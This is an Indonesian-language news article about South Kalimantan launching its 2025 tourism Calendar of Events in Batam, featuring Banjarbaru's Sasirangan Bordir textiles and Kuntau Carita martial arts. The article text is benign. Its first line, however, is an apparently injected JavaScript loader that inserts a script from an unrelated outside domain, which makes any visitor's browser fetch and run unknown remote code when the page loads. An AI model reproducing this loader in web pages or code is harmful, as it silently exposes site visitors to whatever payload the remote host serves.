(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ekonomi

Peluncuran CoE South Kalimantan 2025: Sasirangan Bordir Banjarbaru dan Kuntau Carita Tampil

KANALKALIMANTAN. COM, BATAM – Pesona motif dan gradasi warna kain Sasirangan Bordir menjadi daya tarik pengunjung Mega Mall Batam Center ketika singgah ke stand Pemerintah Kota (Pemko) Banjarbaru saat peluncuran Calendar of Event (CoE) South Kalimantan 2025, Sabtu-Minggu, 9-10 November 2024.

Pjs Wali Kota Banjarbaru Dra Hj Nurliani MAP pun harus keluar cuan sendiri agar bisa membawa pulang sebuah busana berbahan dasar Sasirangan Bordir khas Banjarbaru itu.

Pjs Wali Kota Nurliani mengaku antusias melihat Sasirangan Bordir bisa ditampilkan dalam acara peluncuran CoE South Kalimantan 2025.

“Hasil karya pelaku Ekraf (ekonomi kreatif) kita sangat layak diapresiasi. Makanya saya tak ragu membeli salah satu produk turunannya, suatu kebanggaan bisa memakainya,” ucap Pjs Banjarbaru Nurliani.

Menurut Pjs Wali Kota, partisipasi Kota Banjarbaru dalam acara peluncuran CoE South Kalimantan 2025 merupakan momen yang tepat untuk mempromosikan sektor kepariwisataan dan Ekraf Banjarbaru.

“Semoga kedepan lebih banyak wisatawan yang berkunjung ke Banjarbaru. Apalagi nanti ada turis asing yang membeli produk ekraf kita, itu suatu kebanggaan,” tuturnya.

Tak hanya tawarkan Sasirangan Bordir, Dinas Pemuda Olahraga Kebudayaan dan Pariwisata (Disporabudpar) Kota Banjarbaru ikut ambil bagian memeriahkan peluncuran CoE South Kalimantan 2025 dengan menampilkan kesenian bela diri tradisional “Kuntau Carita”.

Kepala Disporabudpar Kota Banjarbaru A Yani Makkie mengaku bangga bisa berpartisipasi memeriahkan peluncuran CoE South Kalimantan 2025. ” Kuntau Carita ini memang cukup jarang ditampilkan di luar daerah Kalsel. Kita ingin masyarakat luar daerah khususnya wisatawan tahu bahwa Kalsel punya seni bela diri tradisional. Kami ingin melestarikan Kuntau Carita ini,” beber Yani Makkie.

Yani Makkie menambahkan, stand Pemko Banjarbaru juga tampilkan aneka produk pelaku Ekraf lainnya.

“Pengunjung stand kita ada yang berasal dari luar negeri. Mereka tertarik dengan pesona motif dan warna kain Sasirangan Bordir kita,” aku Yani Makkie.

Dia berharap kedepan, Pemko Banjarbaru, khususnya Disporabudpar bisa kembali berpartisipasi dalam acara peluncuran CoE South Kalimantan.

“Target pasar dan kunjungan kita adalah para wisatawan dari luar daerah dan mancanegara. Kemudian saat di Banjarbaru nereka bisa membelanjakan uangnya, membeli aneka produk pelaku Ekraf kita,” tandasnya.

Sementara itu, Kepala Dinas Pariwisata Provinsi Kalimantan Selatan, Muhammad Syarifuddin mengungkap alasan memilih Batam sebagai lokasi peluncuran COE South Kalimantan 2025.

“Batam adalah pintu masuk wisatawan luar. Seperti Malaysia dan Singapura. Momen ini kita manfaatkan agar mereka datang ke Kalsel,” ujar Syarifuddin.

Syarifuddin menyampaikan peluncuran Calender Of Event 2025 ini sekaligus digelar “Table TOP” South Kalimantan, memperkenalkan kepada masyarakat luas berbagai wisata yang dimiliki Kalsel. Tidak hanya wisata alam yang dimiliki, tetapi berbagai kreativitas dan inovasi dari para pelaku ekonomi kreatif di Banua.

“Kami berharap dengan kegiatan ini dapat menarik minat wisatawan, untuk berkunjung ke destinasi wisata maupun khas pelaku Ekraf di 13 kabupaten/kota di Kalsel,” tuntasnya. (Kanalkalimantan.com/kk)

Reporter: kk
Editor: bie